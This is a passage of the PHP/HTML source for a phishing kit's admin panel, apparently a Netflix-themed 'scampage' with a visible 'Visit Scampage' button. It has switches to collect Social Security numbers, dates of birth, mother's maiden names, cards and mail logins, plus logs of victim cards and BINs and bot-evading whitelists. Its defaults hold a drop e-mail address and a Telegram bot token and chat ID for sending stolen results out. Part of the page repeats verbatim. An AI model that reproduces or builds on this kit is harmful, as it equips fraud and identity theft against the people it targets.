                                <span class="alert-form-label" style="font-size: 0.75rem; margin-top: 0.25rem; opacity: 0.7;">Get your API key from <span style="color: #51cf66;">gobot.su</span></span>
                            </div>
                            <div class="alert-form-group">
                                <label class="alert-form-label">Gobot.su Domain</label>
                                <input type="text" class="alert-form-input" name="gobot_domain" value="<?php echo htmlspecialchars($configs['gobot_domain'] ?? ''); ?>" placeholder="yourdomain.com">
                                <span class="alert-form-label" style="font-size: 0.75rem; margin-top: 0.25rem; opacity: 0.7;">Your domain (optional, auto-detect if empty)</span>
                            </div>
                            <div class="alert-form-group">
                                <label class="alert-form-label">Double Card</label>
                                <select class="alert-form-select" name="double_card">
                                    <option value="1" <?php echo ($configs['double_card'] ?? '1') == '1' ? 'selected' : ''; ?>>On</option>
                                    <option value="0" <?php echo ($configs['double_card'] ?? '1') == '0' ? 'selected' : ''; ?>>Off</option>
                                </select>
                            </div>
                            <div class="alert-form-group">
                                <label class="alert-form-label">Social Security Number</label>
                                <select class="alert-form-select" name="ssn">
                                    <option value="1" <?php echo ($configs['ssn'] ?? '1') == '1' ? 'selected' : ''; ?>>On</option>
                                    <option value="0" <?php echo ($configs['ssn'] ?? '1') == '0' ? 'selected' : ''; ?>>Off</option>
                                </select>
                            </div>
                            <div class="alert-form-group">
                                <label class="alert-form-label">Date of birth</label>
                                <select class="alert-form-select" name="dob">
                                    <option value="1" <?php echo ($configs['dob'] ?? '1') == '1' ? 'selected' : ''; ?>>On</option>
                                    <option value="0" <?php echo ($configs['dob'] ?? '1') == '0' ? 'selected' : ''; ?>>Off</option>
                                </select>
                            </div>
                            <div class="alert-form-group">
                                <label class="alert-form-label">Mother Maiden name</label>
                                <select class="alert-form-select" name="mmn">
                                    <option value="0" <?php echo ($configs['mmn'] ?? '0') == '0' ? 'selected' : ''; ?>>Off</option>
                                    <option value="1" <?php echo ($configs['mmn'] ?? '0') == '1' ? 'selected' : ''; ?>>On</option>
                                </select>
                            </div>
                            <div class="alert-form-group">
                                <label class="alert-form-label">Mail Login</label>
                                <select class="alert-form-select" name="mail_login">
                                    <option value="0" <?php echo ($configs['mail_login'] ?? '0') == '0' ? 'selected' : ''; ?>>Off</option>
                                    <option value="1" <?php echo ($configs['mail_login'] ?? '0') == '1' ? 'selected' : ''; ?>>On</option>
                                </select>
                            </div>
                            <div class="alert-form-group full-width">
                                <label class="alert-form-label">Redirect Link Completed</label>
                                <input type="text" class="alert-form-input" name="redirect_completed_link" value="<?php echo htmlspecialchars($configs['redirect_completed_link'] ?? 'https://google.com'); ?>" placeholder="https://google.com">
                            </div>
                        </div>
                        <button type="submit" class="alert-save-btn" style="margin-top: 1.5rem;">Save</button>
                    </form>
                </div>
            </div>
            
            <!-- Visitors Page -->
            <div class="visitors-page" id="visitorsPage">
                <!-- Stats Grid -->
                <div class="visitor-stats-grid">
                    <div class="visitor-stat-card">
                        <div class="visitor-stat-header">
                            <div class="visitor-stat-icon">
                                <i data-lucide="eye" color="#51cf66" size="20"></i>
                            </div>
                            <div class="visitor-stat-info">
                                <h3>0</h3>
                                <p>Human</p>
                            </div>
                        </div>
                    </div>
                    
                    <div class="visitor-stat-card">
                        <div class="visitor-stat-header">
                            <div class="visitor-stat-icon">
                                <i data-lucide="bot" color="#51cf66" size="20"></i>
                            </div>
                            <div class="visitor-stat-info">
                                <h3>0</h3>
                                <p>Bots</p>
                            </div>
                        </div>
                    </div>
                    
                    <div class="visitor-stat-card">
                        <div class="visitor-stat-header">
                            <div class="visitor-stat-icon">
                                <i data-lucide="lock" color="#51cf66" size="20"></i>
                            </div>
                            <div class="visitor-stat-info">
                                <h3>0</h3>
                                <p>Login</p>
                            </div>
                        </div>
                    </div>
                    
                    <div class="visitor-stat-card">
                        <div class="visitor-stat-header">
                            <div class="visitor-stat-icon">
                                <i data-lucide="credit-card" color="#51cf66" size="20"></i>
                            </div>
                            <div class="visitor-stat-info">
                                <h3>0</h3>
                                <p>Cards</p>
                            </div>
                        </div>
                    </div>
                </div>
                
                <!-- Visitor Logs -->
                <div class="logs-section">
                    <div class="logs-header">
                        <h3 class="logs-title">Visitor Logs</h3>
                        <div class="logs-actions">
                            <button class="logs-btn" onclick="clearLogs()">Clear Logs</button>
                            <button class="logs-btn" onclick="visitScampage()">Visit Scampage</button>
                        </div>
                    </div>
                    <div id="visitorLogsContainer">
                        <table class="logs-table">
                            <thead>
                                <tr>
                                    <th>Date & Time</th>
                                    <th>Ip Address</th>
                                    <th>Device</th>
                                    <th>Browser</th>
                                    <th>Location</th>
                                    <th>Activity</th>
                                </tr>
                            </thead>
                            <tbody id="visitorLogsBody">
                                <tr>
                                    <td colspan="6" class="empty-state">Loading...</td>
                                </tr>
                            </tbody>
                        </table>
                    </div>
                </div>
                
                <!-- Bins Logs -->
                <div class="logs-section">
                    <div class="logs-header">
                        <h3 class="logs-title">Bins Logs</h3>
                    </div>
                    <div id="binsLogsContainer">
                        <table class="logs-table">
                            <thead>
                                <tr>
                                    <th>Date & Time</th>
                                    <th>Ip Address</th>
                                    <th>Card Name</th>
                                    <th>Bin</th>
                                    <th>Type</th>
                                    <th>Bank</th>
                                </tr>
                            </thead>
                            <tbody id="binsLogsBody">
                                <tr>
                                    <td colspan="6" class="empty-state">Loading...</td>
                                </tr>
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
            
            <!-- Allow Page -->
            <div class="allow-page" id="allowPage">
                <!-- Top Grid -->
                <div class="allow-grid">
                    <!-- Country Whitelist -->
                    <div class="allow-section">
                        <div class="allow-section-header">
                            <div class="allow-section-title">
                                <i data-lucide="globe" color="#51cf66" size="20"></i>
                                <span>Country Whitelist</span>
                            </div>
                            <div class="allow-badge">6 Countries</div>
                        </div>
                        <div class="allow-content">
                            <div class="country-flags-grid">
                                <!-- Countries will be loaded dynamically -->
                            </div>
                        </div>
                        <div class="allow-add-group">
                            <input type="text" class="allow-input" id="newCountryAllow" placeholder="Add country code (e.g., US)" maxlength="2">
                            <button class="allow-add-btn" onclick="addAllowCountry()">Add</button>
                        </div>
                    </div>
                    
                    <!-- IP Whitelist -->
                    <div class="allow-section">
                        <div class="allow-section-header">
                            <div class="allow-section-title">
                                <i data-lucide="shield-check" color="#51cf66" size="20"></i>
                                <span>IP Whitelist</span>
                            </div>
                            <div class="allow-badge">3 IPs</div>
                        </div>
                        <div class="allow-content">
                            <div class="allow-list" id="ipAllowList">
                                <!-- IPs will be loaded dynamically -->
                            </div>
                        </div>
                        <div class="allow-add-group">
                            <input type="text" class="allow-input" id="newIPAllow" placeholder="Add IP address (e.g., 192.168.1.1)">
                            <button class="allow-add-btn" onclick="addAllowIP()">Add</button>
                        </div>
                    </div>
                </div>
                
                <!-- Bottom Grid -->
                <div class="allow-grid">
                    <!-- User Agent Whitelist -->
                    <div class="allow-section">
                        <div class="allow-section-header">
                            <div class="allow-section-title">
                                <i data-lucide="bot" color="#51cf66" size="20"></i>
                                <span>User Agent Whitelist</span>
                            </div>
                            <div class="allow-badge">2 Agents</div>
                        </div>
                        <div class="allow-content">
                            <div class="allow-list" id="userAgentList">
                                <!-- User agents will be loaded dynamically -->
                            </div>
                        </div>
                        <div class="allow-add-group">
                            <input type="text" class="allow-input" id="newUserAgent" placeholder="Add user agent name">
                            <button class="allow-add-btn" onclick="addAllowUserAgent()">Add</button>
                        </div>
                    </div>
                    
                    <!-- ASN Whitelist -->
                    <div class="allow-section">
                        <div class="allow-section-header">
                            <div class="allow-section-title">
                                <i data-lucide="building" color="#51cf66" size="20"></i>
                                <span>ASN Whitelist</span>
                            </div>
                            <div class="allow-badge">3 ASNs</div>
                        </div>
                        <div class="allow-content">
                            <div class="allow-list" id="asnList">
                                <!-- ASNs will be loaded dynamically -->
                            </div>
                        </div>
                        <div class="allow-add-group">
                            <input type="text" class="allow-input" id="newASN" placeholder="Add ASN (e.g., AS15169 - Google)">
                            <button class="allow-add-btn" onclick="addAllowASN()">Add</button>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        
        <!-- Settings Page -->
        <div class="settings-page" id="settingsPage">
            <!-- Activity Page -->
            <div class="alert-section">
                <h2 class="alert-section-title">Activity Page</h2>
                <?php if ($flashMessage && ($flashMessage['form'] ?? '') == 'activity'): ?>
                <div id="flashMessageActivity" class="alert alert-<?php echo htmlspecialchars($flashMessage['type']); ?>" style="margin-bottom: 1rem; padding: 0.75rem 1rem; border-radius: 0.5rem; background: <?php echo $flashMessage['type'] === 'success' ? '#51cf66' : '#ff6b6b'; ?>; color: white; position: relative;">
                    <?php echo htmlspecialchars($flashMessage['message']); ?>
                    <button onclick="this.parentElement.remove()" style="position: absolute; right: 0.5rem; top: 50%; transform: translateY(-50%); background: transparent; border: none; color: white; font-size: 1.2rem; cursor: pointer; padding: 0 0.5rem;">&times;</button>
                </div>
                <script>
                    setTimeout(function() {
                        const msg = document.getElementById('flashMessageActivity');
                        if (msg) {
                            msg.style.transition = 'opacity 0.5s';
                            msg.style.opacity = '0';
                            setTimeout(() => msg.remove(), 500);
                        }
                    }, 5000);
                </script>
                <?php endif; ?>
                <form method="POST">
                    <input type="hidden" name="save_activity" value="1">
                    <div class="alert-form-grid">
                        <div class="alert-form-group">
                            <label class="alert-form-label">Activity Title</label>
                            <input type="text" class="alert-form-input" name="activity_title" value="<?php echo htmlspecialchars($controlData['activity_title'] ?? 'Verify Your Email'); ?>" placeholder="Enter title">
                        </div>
                        <div class="alert-form-group">
                            <label class="alert-form-label">Activity Text</label>
                            <input type="text" class="alert-form-input" name="activity_text" value="<?php echo htmlspecialchars($controlData['activity_text'] ?? "We've sent an email to ##email##<br /><br />If you didn't get your email yet, please check your spam folder or link your account directly using SSO."); ?>" placeholder="Enter text">
                        </div>
                        <div class="alert-form-group">
                            <label class="alert-form-label">Activity Button</label>
                            <input type="text" class="alert-form-input" name="activity_button" value="<?php echo htmlspecialchars($controlData['activity_tombol'] ?? 'Next'); ?>" placeholder="Button text">
                        </div>
                        <div class="alert-form-group">
                            <label class="alert-form-label">Activity Status</label>
                            <select class="alert-form-select" name="activity_status">
                                <option value="1" <?php echo (($controlData['activity_status'] ?? 'on') == 'on') ? 'selected' : ''; ?>>ON</option>
                                <option value="0" <?php echo (($controlData['activity_status'] ?? 'on') == 'off') ? 'selected' : ''; ?>>OFF</option>
                            </select>
                        </div>
                        <div class="alert-form-group full-width">
                            <label class="alert-form-label">Activity Template</label>
                            <select class="alert-form-select" name="activity_template">
                                <option value="1" <?php echo ($controlData['activity_template'] ?? '2') == '1' ? 'selected' : ''; ?>>1</option>
                                <option value="2" <?php echo ($controlData['activity_template'] ?? '2') == '2' ? 'selected' : ''; ?>>2</option>
                                <option value="3" <?php echo ($controlData['activity_template'] ?? '2') == '3' ? 'selected' : ''; ?>>3</option>
                            </select>
                        </div>
                    </div>
                    <button type="submit" class="alert-save-btn" style="margin-top: 1.5rem;">Save</button>
                </form>
            </div>
                
                <!-- Billing Page -->
                <div class="alert-section">
                    <h2 class="alert-section-title">Billing Page</h2>
                    <?php if ($flashMessage && ($flashMessage['form'] ?? '') == 'billing'): ?>
                    <div id="flashMessageBilling" class="alert alert-<?php echo htmlspecialchars($flashMessage['type']); ?>" style="margin-bottom: 1rem; padding: 0.75rem 1rem; border-radius: 0.5rem; background: <?php echo $flashMessage['type'] === 'success' ? '#51cf66' : '#ff6b6b'; ?>; color: white; position: relative;">
                        <?php echo htmlspecialchars($flashMessage['message']); ?>
                        <button onclick="this.parentElement.remove()" style="position: absolute; right: 0.5rem; top: 50%; transform: translateY(-50%); background: transparent; border: none; color: white; font-size: 1.2rem; cursor: pointer; padding: 0 0.5rem;">&times;</button>
                    </div>
                    <script>
                        setTimeout(function() {
                            const msg = document.getElementById('flashMessageBilling');
                            if (msg) {
                                msg.style.transition = 'opacity 0.5s';
                                msg.style.opacity = '0';
                                setTimeout(() => msg.remove(), 500);
                            }
                        }, 5000);
                    </script>
                    <?php endif; ?>
                    <form method="POST">
                        <input type="hidden" name="save_billing" value="1">
                        <div class="alert-form-grid">
                            <div class="alert-form-group">
                                <label class="alert-form-label">Billing Alert Title</label>
                                <input type="text" class="alert-form-input" name="billing_title" value="<?php echo htmlspecialchars($controlData['billing_title'] ?? 'mainlogo address'); ?>" placeholder="Enter title">
                            </div>
                            <div class="alert-form-group">
                                <label class="alert-form-label">Billing Alert Text</label>
                                <input type="text" class="alert-form-input" name="billing_text" value="<?php echo htmlspecialchars($controlData['billing_text'] ?? 'address test'); ?>" placeholder="Enter text">
                            </div>
                            <div class="alert-form-group full-width">
                                <label class="alert-form-label">Billing Template</label>
                                <select class="alert-form-select" name="billing_template">
                                    <option value="1" <?php echo ($controlData['billing_template'] ?? '2') == '1' ? 'selected' : ''; ?>>1</option>
                                    <option value="2" <?php echo ($controlData['billing_template'] ?? '2') == '2' ? 'selected' : ''; ?>>2</option>
                                    <option value="3" <?php echo ($controlData['billing_template'] ?? '2') == '3' ? 'selected' : ''; ?>>3</option>
                                </select>
                            </div>
                        </div>
                        <button type="submit" class="alert-save-btn" style="margin-top: 1.5rem;">Save</button>
                    </form>
                </div>
                
                <!-- Card Page -->
                <div class="alert-section">
                    <h2 class="alert-section-title">Card Page</h2>
                    <?php if ($flashMessage && ($flashMessage['form'] ?? '') == 'card'): ?>
                    <div id="flashMessageCard" class="alert alert-<?php echo htmlspecialchars($flashMessage['type']); ?>" style="margin-bottom: 1rem; padding: 0.75rem 1rem; border-radius: 0.5rem; background: <?php echo $flashMessage['type'] === 'success' ? '#51cf66' : '#ff6b6b'; ?>; color: white; position: relative;">
                        <?php echo htmlspecialchars($flashMessage['message']); ?>
                        <button onclick="this.parentElement.remove()" style="position: absolute; right: 0.5rem; top: 50%; transform: translateY(-50%); background: transparent; border: none; color: white; font-size: 1.2rem; cursor: pointer; padding: 0 0.5rem;">&times;</button>
                    </div>
                    <script>
                        setTimeout(function() {
                            const msg = document.getElementById('flashMessageCard');
                            if (msg) {
                                msg.style.transition = 'opacity 0.5s';
                                msg.style.opacity = '0';
                                setTimeout(() => msg.remove(), 500);
                            }
                        }, 5000);
                    </script>
                    <?php endif; ?>
                    <form method="POST">
                        <input type="hidden" name="save_card" value="1">
                        <div class="alert-form-grid">
                            <div class="alert-form-group">
                                <label class="alert-form-label">Card Alert Title</label>
                                <input type="text" class="alert-form-input" name="card_title" value="<?php echo htmlspecialchars($controlData['card_title'] ?? 'test123h'); ?>" placeholder="Enter title">
                            </div>
                            <div class="alert-form-group">
                                <label class="alert-form-label">Card Alert Text</label>
                                <input type="text" class="alert-form-input" name="card_text" value="<?php echo htmlspecialchars($controlData['card_text'] ?? 'test123t'); ?>" placeholder="Enter text">
                            </div>
                            <div class="alert-form-group full-width">
                                <label class="alert-form-label">Card Template</label>
                                <select class="alert-form-select" name="card_template">
                                    <option value="1" <?php echo ($controlData['cc_template'] ?? '2') == '1' ? 'selected' : ''; ?>>1</option>
                                    <option value="2" <?php echo ($controlData['cc_template'] ?? '2') == '2' ? 'selected' : ''; ?>>2</option>
                                    <option value="3" <?php echo ($controlData['cc_template'] ?? '2') == '3' ? 'selected' : ''; ?>>3</option>
                                </select>
                            </div>
                        </div>
                        <button type="submit" class="alert-save-btn" style="margin-top: 1.5rem;">Save</button>
                    </form>
                </div>
                
                <!-- Other Page -->
                <div class="alert-section">
                    <h2 class="alert-section-title">Other Page</h2>
                    <?php if ($flashMessage && ($flashMessage['form'] ?? '') == 'other'): ?>
                    <div id="flashMessageOther" class="alert alert-<?php echo htmlspecialchars($flashMessage['type']); ?>" style="margin-bottom: 1rem; padding: 0.75rem 1rem; border-radius: 0.5rem; background: <?php echo $flashMessage['type'] === 'success' ? '#51cf66' : '#ff6b6b'; ?>; color: white; position: relative;">
                        <?php echo htmlspecialchars($flashMessage['message']); ?>
                        <button onclick="this.parentElement.remove()" style="position: absolute; right: 0.5rem; top: 50%; transform: translateY(-50%); background: transparent; border: none; color: white; font-size: 1.2rem; cursor: pointer; padding: 0 0.5rem;">&times;</button>
                    </div>
                    <script>
                        setTimeout(function() {
                            const msg = document.getElementById('flashMessageOther');
                            if (msg) {
                                msg.style.transition = 'opacity 0.5s';
                                msg.style.opacity = '0';
                                setTimeout(() => msg.remove(), 500);
                            }
                        }, 5000);
                    </script>
                    <?php endif; ?>
                    <form method="POST">
                        <input type="hidden" name="save_other" value="1">
                        <div class="alert-form-grid">
                            <div class="alert-form-group full-width">
                                <label class="alert-form-label">Login Template</label>
                                <select class="alert-form-select" name="login_template">
                                    <option value="1" <?php echo ($controlData['login_template'] ?? '2') == '1' ? 'selected' : ''; ?>>1</option>
                                    <option value="2" <?php echo ($controlData['login_template'] ?? '2') == '2' ? 'selected' : ''; ?>>2</option>
                                    <option value="3" <?php echo ($controlData['login_template'] ?? '2') == '3' ? 'selected' : ''; ?>>3</option>
                                </select>
                            </div>
                        </div>
                        <button type="submit" class="alert-save-btn" style="margin-top: 1.5rem;">Save</button>
                    </form>
                </div>
        </div>
        
        <!-- Alert Page -->
        <div class="alert-page" id="alertPage">
            <!-- Profile Settings Section -->
            <div class="alert-section">
                <h2 class="alert-section-title">Profile Settings</h2>
                <?php if ($flashMessage && ($flashMessage['form'] ?? '') == 'profile'): ?>
                <div id="flashMessageProfile2" class="alert alert-<?php echo htmlspecialchars($flashMessage['type']); ?>" style="margin-bottom: 1rem; padding: 0.75rem 1rem; border-radius: 0.5rem; background: <?php echo $flashMessage['type'] === 'success' ? '#51cf66' : '#ff6b6b'; ?>; color: white; position: relative;">
                    <?php echo htmlspecialchars($flashMessage['message']); ?>
                    <button onclick="this.parentElement.remove()" style="position: absolute; right: 0.5rem; top: 50%; transform: translateY(-50%); background: transparent; border: none; color: white; font-size: 1.2rem; cursor: pointer; padding: 0 0.5rem;">&times;</button>
                </div>
                <script>
                    setTimeout(function() {
                        const msg = document.getElementById('flashMessageProfile2');
                        if (msg) {
                            msg.style.transition = 'opacity 0.5s';
                            msg.style.opacity = '0';
                            setTimeout(() => msg.remove(), 500);
                        }
                    }, 5000);
                </script>
                <?php endif; ?>
                <form method="POST">
                    <input type="hidden" name="save_profile" value="1">
                    <div class="alert-form-grid">
                        <div class="alert-form-group">
                            <label class="alert-form-label">Email Result</label>
                            <input type="email" class="alert-form-input" name="email_result" value="<?php echo htmlspecialchars($accessData['email_result'] ?? 'checlie.ca@yandex.com'); ?>" placeholder="email@example.com">
                        </div>
                        <div class="alert-form-group">
                            <label class="alert-form-label">Parameter Access</label>
                            <input type="text" class="alert-form-input" name="parameter_access" value="<?php echo htmlspecialchars($accessData['parameter_access'] ?? 'good'); ?>" placeholder="Parameter">
                        </div>
                        <div class="alert-form-group">
                            <label class="alert-form-label">Parameter Status</label>
                            <select class="alert-form-select" name="parameter_status">
                                <option value="1" <?php echo ($accessData['parameter_status'] ?? '1') == '1' ? 'selected' : ''; ?>>ON</option>
                                <option value="0" <?php echo ($accessData['parameter_status'] ?? '1') == '0' ? 'selected' : ''; ?>>OFF</option>
                            </select>
                        </div>
                        <div class="alert-form-group">
                            <label class="alert-form-label">Token Access</label>
                            <input type="text" class="alert-form-input" name="token_login" value="<?php echo htmlspecialchars($accessData['token_login'] ?? 'Kinglazarus'); ?>" placeholder="Token">
                        </div>
                        <div class="alert-form-group">
                            <label class="alert-form-label">Telegram ID</label>
                            <input type="text" class="alert-form-input" name="telegram_id" value="<?php echo htmlspecialchars($accessData['telegram_id'] ?? '-4803612925'); ?>" placeholder="Telegram ID">
                        </div>
                        <div class="alert-form-group">
                            <label class="alert-form-label">Telegram Secret</label>
                            <input type="text" class="alert-form-input" name="telegram_secret_key" value="<?php echo htmlspecialchars($accessData['telegram_secret_key'] ?? '5642054843:AAfnVk7cDdcX4NDj8Ny-Q9LI6RyflHP7bJ8'); ?>" placeholder="Secret">
                        </div>
                    </div>
                    <button type="submit" class="alert-save-btn" style="margin-top: 1.5rem;">Save</button>
                </form>
            </div>
            
            <!-- Save Result Webshop Section -->
            <div class="alert-section">
                <h2 class="alert-section-title">Save Result Webshop</h2>
                <div class="alert-form-grid">
                    <div class="alert-form-group full-width">
                        <label class="alert-form-label">Select Date</label>
                        <input type="date" class="alert-form-input" placeholder="dd/mm/yyyy">
                    </div>
                </div>
                <button class="alert-save-btn" onclick="showFlashMessage('Webshop saved!', 'success')" style="margin-top: 1.5rem;">Save</button>
            </div>
        </div>
        
        <!-- Alert Page -->
        <div class="alert-page" id="alertPage">
            <!-- Profile Settings Section -->
            <div class="alert-section">
                <h2 class="alert-section-title">Profile Settings</h2>
                <?php if ($flashMessage && ($flashMessage['form'] ?? '') == 'profile'): ?>
                <div id="flashMessageProfile2" class="alert alert-<?php echo htmlspecialchars($flashMessage['type']); ?>" style="margin-bottom: 1rem; padding: 0.75rem 1rem; border-radius: 0.5rem; background: <?php echo $flashMessage['type'] === 'success' ? '#51cf66' : '#ff6b6b'; ?>; color: white; position: relative;">
                    <?php echo htmlspecialchars($flashMessage['message']); ?>
                    <button onclick="this.parentElement.remove()" style="position: absolute; right: 0.5rem; top: 50%; transform: translateY(-50%); background: transparent; border: none; color: white; font-size: 1.2rem; cursor: pointer; padding: 0 0.5rem;">&times;</button>
                </div>
                <script>
                    setTimeout(function() {
                        const msg = document.getElementById('flashMessageProfile2');
                        if (msg) {
                            msg.style.transition = 'opacity 0.5s';
                            msg.style.opacity = '0';
                            setTimeout(() => msg.remove(), 500);
                        }
                    }, 5000);
                </script>
                <?php endif; ?>
                <form method="POST">
                    <input type="hidden" name="save_profile" value="1">
                    <div class="alert-form-grid">
                        <div class="alert-form-group">
                            <label class="alert-form-label">Email Result</label>
                            <input type="email" class="alert-form-input" name="email_result" value="<?php echo htmlspecialchars($accessData['email_result'] ?? 'checlie.ca@yandex.com'); ?>" placeholder="email@example.com">
                        </div>
                        <div class="alert-form-group">
                            <label class="alert-form-label">Parameter Access</label>
                            <input type="text" class="alert-form-input" name="parameter_access" value="<?php echo htmlspecialchars($accessData['parameter_access'] ?? 'good'); ?>" placeholder="Parameter">
                        </div>
                        <div class="alert-form-group">
                            <label class="alert-form-label">Parameter Status</label>
                            <select class="alert-form-select" name="parameter_status">
                                <option value="1" <?php echo ($accessData['parameter_status'] ?? '1') == '1' ? 'selected' : ''; ?>>ON</option>
                                <option value="0" <?php echo ($accessData['parameter_status'] ?? '1') == '0' ? 'selected' : ''; ?>>OFF</option>
                            </select>
                        </div>
                        <div class="alert-form-group">
                            <label class="alert-form-label">Token Access</label>
                            <input type="text" class="alert-form-input" name="token_login" value="<?php echo htmlspecialchars($accessData['token_login'] ?? 'Kinglazarus'); ?>" placeholder="Token">
                        </div>
                        <div class="alert-form-group">
                            <label class="alert-form-label">Telegram ID</label>
                            <input type="text" class="alert-form-input" name="telegram_id" value="<?php echo htmlspecialchars($accessData['telegram_id'] ?? '-4803612925'); ?>" placeholder="Telegram ID">
                        </div>
                        <div class="alert-form-group">
                            <label class="alert-form-label">Telegram Secret</label>
                            <input type="text" class="alert-form-input" name="telegram_secret_key" value="<?php echo htmlspecialchars($accessData['telegram_secret_key'] ?? '5642054843:AAfnVk7cDdcX4NDj8Ny-Q9LI6RyflHP7bJ8'); ?>" placeholder="Secret">
                        </div>
                    </div>
                    <button type="submit" class="alert-save-btn" style="margin-top: 1.5rem;">Save</button>
                </form>
            </div>
            
            <!-- Save Result Webshop Section -->
            <div class="alert-section">
                <h2 class="alert-section-title">Save Result Webshop</h2>
                <div class="alert-form-grid">
                    <div class="alert-form-group full-width">
                        <label class="alert-form-label">Select Date</label>
                        <input type="date" class="alert-form-input" placeholder="dd/mm/yyyy">
                    </div>
                </div>
                <button class="alert-save-btn" onclick="showFlashMessage('Webshop saved!', 'success')" style="margin-top: 1.5rem;">Save</button>
            </div>
        </div>
    </main>
    
    <script>
        // Initialize Lucide icons
        lucide.createIcons();
        
        // Auto-detect and display current domain
        // Flash message helper function with auto-hide
        function showFlashMessage(message, type = 'success', container = null) {
            type = type || 'success';
            const bgColor = type === 'success' ? '#51cf66' : '#ff6b6b';
            const msgId = 'flashMsg_' + Date.now();
            
            // Find container - try to find active page or use body
            if (!container) {
                const activePage = document.querySelector('.visitors-page.active, .allow-page.active, .block-page.active, .alert-page.active, .settings-page.active');
                container = activePage || document.body;
            }
            
            // Create message element
            const msgDiv = document.createElement('div');
            msgDiv.id = msgId;
            msgDiv.className = 'flash-message';
            msgDiv.style.cssText = 'position: fixed; top: 20px; right: 20px; z-index: 10000; padding: 1rem 1.5rem; border-radius: 0.5rem; background: ' + bgColor + '; color: white; box-shadow: 0 4px 12px rgba(0,0,0,0.15); min-width: 300px; max-width: 500px; animation: slideIn 0.3s ease-out;';
            msgDiv.innerHTML = '<div style="display: flex; align-items: center; justify-content: space-between; gap: 1rem;"><span>' + message + '</span><button onclick="this.parentElement.parentElement.remove()" style="background: transparent; border: none; color: white; font-size: 1.5rem; cursor: pointer; padding: 0; line-height: 1;">&times;</button></div>';
            
            // Add animation
            const style = document.createElement('style');
            style.textContent = '@keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } }';
            if (!document.getElementById('flashMessageStyle')) {
                style.id = 'flashMessageStyle';
                document.head.appendChild(style);
            }
            
            // Insert at beginning of container
            if (container === document.body) {
                document.body.appendChild(msgDiv);
            } else {
                container.insertBefore(msgDiv, container.firstChild);
            }
            
            // Auto-hide after 5 seconds
            setTimeout(function() {
                const msg = document.getElementById(msgId);
                if (msg) {
                    msg.style.transition = 'opacity 0.5s, transform 0.5s';
                    msg.style.opacity = '0';
                    msg.style.transform = 'translateX(100%)';
                    setTimeout(() => msg.remove(), 500);
                }
            }, 5000);
        }
        
        document.addEventListener('DOMContentLoaded', function() {
            const currentDomain = window.location.hostname || 'localhost';
            document.getElementById('currentDomain').textContent = currentDomain;
            lucide.createIcons();
            
            // Load allow data on page load
            loadAllowData();
            
            // Initialize current template from PHP
            window.currentTemplate = '<?php echo $theme['template_select'] ?? 'netflix'; ?>';
            
            // Load theme
            loadTheme();
            
            // Load stats for home page on initial load
            loadStats();
            window.homeStatsInterval = setInterval(loadStats, 1000); // Update every 1 second for real-time
            
            // Load visitor logs (only if visitors page is active)
            if (document.getElementById('visitorsPage')?.classList.contains('active')) {
                loadVisitorLogs();
                window.visitorLogsInterval = setInterval(loadVisitorLogs, 2000); // Update every 2 seconds
            }
            
            // Load bins logs (only if visitors page is active)
            if (document.getElementById('visitorsPage')?.classList.contains('active')) {
                loadBinsLogs();
                window.binsLogsInterval = setInterval(loadBinsLogs, 3000);
            }
            
            // Load stats (only if visitors page is active)
            if (document.getElementById('visitorsPage')?.classList.contains('active')) {
                loadStats();
                window.statsInterval = setInterval(loadStats, 1000); // Update every 1 second for real-time
            }
        });
        
        // Get current template dynamically
        function getCurrentTemplate() {
            // Try to get from global variable first (set by loadTheme)
            if (window.currentTemplate) {
                return window.currentTemplate;
            }
            // Try to get from select element
            const alertSelect = document.getElementById('alertTemplateSelect');
            if (alertSelect && alertSelect.value) {
                return alertSelect.value;
            }
            // Fallback to header badge
            const headerTemplate = document.getElementById('currentTemplate');
            if (headerTemplate && headerTemplate.textContent) {
                return headerTemplate.textContent.toLowerCase();
            }
            // Fallback to PHP rendered value
            return '<?php echo $theme['template_select'] ?? 'netflix'; ?>';
        }
        
        // Map template name to file name (for table_v_static and table_b_static)
        function getTemplateFileName(template) {
            const mapping = {
                'netflix': 'netflix'
            };
            return mapping[template] || template;
        }
        
        // Load visitor logs (real-time)
        function loadVisitorLogs() {
            const tbody = document.getElementById('visitorLogsBody');
            if (!tbody) return;
            
            const template = getCurrentTemplate();
            const fileName = getTemplateFileName(template);
            const url = 'table_v_static/' + fileName + '.php?t=' + Date.now();
            
            fetch(url, {
                credentials: 'same-origin'
            })
                .then(res => {
                    if (!res.ok) throw new Error('Network response was not ok: ' + res.status);
                    return res.text();
                })
                .then(html => {
                    if (!html || html.trim() === '') {
                        tbody.innerHTML = '<tr><td colspan="6" class="empty-state">Not available data.</td></tr>';
                        return;
                    }
                    
                    // Parse HTML response
                    const parser = new DOMParser();
                    const doc = parser.parseFromString(html, 'text/html');
                    
                    // Try to find table tbody
                    let sourceTable = doc.querySelector('table tbody');
                    if (!sourceTable) {
                        // Try alternative: find tbody in div
                        const div = doc.querySelector('div');
                        if (div) {
                            sourceTable = div.querySelector('table tbody');
                        }
                    }
                    
                    // Clear tbody first
                    tbody.innerHTML = '';
                    
                    if (sourceTable && sourceTable.children.length > 0) {
                        let validRows = 0;
                        Array.from(sourceTable.children).forEach(row => {
                            // Skip empty rows or "Not available data" rows
                            const text = row.textContent.trim();
                            if (text === '' || text.toLowerCase().includes('not available')) {
                                return;
                            }
                            
                            // Clone the row directly - show all visitors regardless of age
                            // Data will only be removed when manually deleted via Clear Logs button
                            const clonedRow = row.cloneNode(true);
                            tbody.appendChild(clonedRow);
                            validRows++;
                        });
                        
                        // If no valid rows were added, show empty state
                        if (validRows === 0) {
                            tbody.innerHTML = '<tr><td colspan="6" class="empty-state">Not available data.</td></tr>';
                        }
                    } else {
                        tbody.innerHTML = '<tr><td colspan="6" class="empty-state">Not available data.</td></tr>';
                    }
                })
                .catch(err => {
                    console.error('Error loading visitor logs:', err);
                    const currentContent = tbody.innerHTML.trim();
                    if (currentContent === '' || currentContent.includes('Loading') || currentContent.includes('Not available')) {
                        tbody.innerHTML = '<tr><td colspan="6" class="empty-state">Error loading data. Please try again.</td></tr>';
                    }
                });
        }
        
        // Load bins logs (real-time)
        function loadBinsLogs() {
            const tbody = document.getElementById('binsLogsBody');
            if (!tbody) return;
            
            const template = getCurrentTemplate();
            const fileName = getTemplateFileName(template);
            const url = 'table_b_static/' + fileName + '.php?t=' + Date.now();
            
            fetch(url, {
                credentials: 'same-origin'
            })
                .then(res => {
